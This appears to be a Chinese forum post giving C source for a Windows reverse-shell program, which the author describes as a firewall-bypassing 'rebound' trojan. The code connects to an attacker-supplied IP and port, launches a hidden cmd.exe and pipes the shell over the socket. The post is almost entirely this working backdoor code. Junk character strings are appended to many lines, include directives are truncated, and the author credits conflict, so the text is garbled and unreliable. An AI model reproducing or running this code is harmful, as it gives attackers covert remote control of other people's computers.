这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qN1e{T8u
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/* ============================== 0K$WSGB?6j
Rebound port in Windows NT Owh*KY:
By wind,2006/7 PK-}Ldj
===============================*/
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#include dEQReD
#include kKxL04
[al(>Wr9
#pragma comment(lib,"wsock32.lib") 6zp@#vYI
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void OutputShell(); s=q%:uCO
SOCKET sClient; *C3uMiz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1%SJ1oY
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void main(int argc,char **argv) Imh2~rw;
{ (:&&;]sI
WSADATA stWsaData; %)<oX9E
int nRet; \]f5
SOCKADDR_IN stSaiClient,stSaiServer; P;L)1 g
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if(argc != 3) D y`W5_xSz
{ [Q7->Wo|S:
printf("Useage:\n\rRebound DestIP DestPort\n"); 5A2Y'ms,/
return; zH=/.31Q
} @H3 s2|
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WSAStartup(MAKEWORD(2,2),&stWsaData); fR]p+\#8u*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3ZW/$KP/
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stSaiClient.sin_family = AF_INET; Y91
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stSaiClient.sin_port = htons(0); B%%.@[o,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OQytgXED
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XI%RneuDr:
{ RQj`9F
printf("Bind Socket Failed!\n"); QoW(tM
return; */%$6s~
} vI
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stSaiServer.sin_family = AF_INET; <O,'5+zG%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "fX_gN?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T =eT^?v
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;H7EB`
{ di]$dl|Wi
printf("Connect Error!"); AI^AK0.L
return; ^w;o \G
} }
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OutputShell(); yM (_P0
} .x)>f
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void OutputShell() pTa'.m
{ pX>ua5Z
char szBuff[1024]; jGk7=}nw
SECURITY_ATTRIBUTES stSecurityAttributes; ;eS;AHZ
OSVERSIONINFO stOsversionInfo; 2k.S[?)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !6XvvTs/<
STARTUPINFO stStartupInfo; !pd7@FwC
char *szShell; g>6:CG"
PROCESS_INFORMATION stProcessInformation; U-Af7qO
unsigned long lBytesRead; uHfhRc9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O]e6i%?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RtW4n:c
stSecurityAttributes.lpSecurityDescriptor = 0; 7,pje j
stSecurityAttributes.bInheritHandle = TRUE; _Ct}%-,4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &FL%H;Kfx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .LX?VD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ::4"wU3t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,$HHaoog
stStartupInfo.wShowWindow = SW_HIDE; {@Blj3 ;w}
stStartupInfo.hStdInput = hReadPipe; pO\S#GnX
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !Bag}|#
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GetVersionEx(&stOsversionInfo); o:Ln._bj
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switch(stOsversionInfo.dwPlatformId) z
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{ 0w^jls
case 1: XZF%0g2$b
szShell = "command.com"; Zkw J.SuU
break; =fY lzZh
default: uEBQoP2
szShell = "cmd.exe"; g;$E1U=R-E
break; +nU' ,E
} Q]!6uA$A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sq?,C&LsA
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send(sClient,szMsg,77,0); Y3D3.T6Q
while(1) H(MB5
{ *zJD$+Fo
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LOe4c0C6Ca
if(lBytesRead) DKR<W.!*t
{ @=CLeQG`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BeAk21xb
send(sClient,szBuff,lBytesRead,0); O ,l\e3;
} X88F>1}
else `hzd|GmX
{ [70Y,,w
lBytesRead=recv(sClient,szBuff,1024,0); 6KVV z/
if(lBytesRead<=0) break; QDP-E[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #U\$@4D
} S<*' ;{5~
} VcP:}a< B\
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return; x 96}#0'
}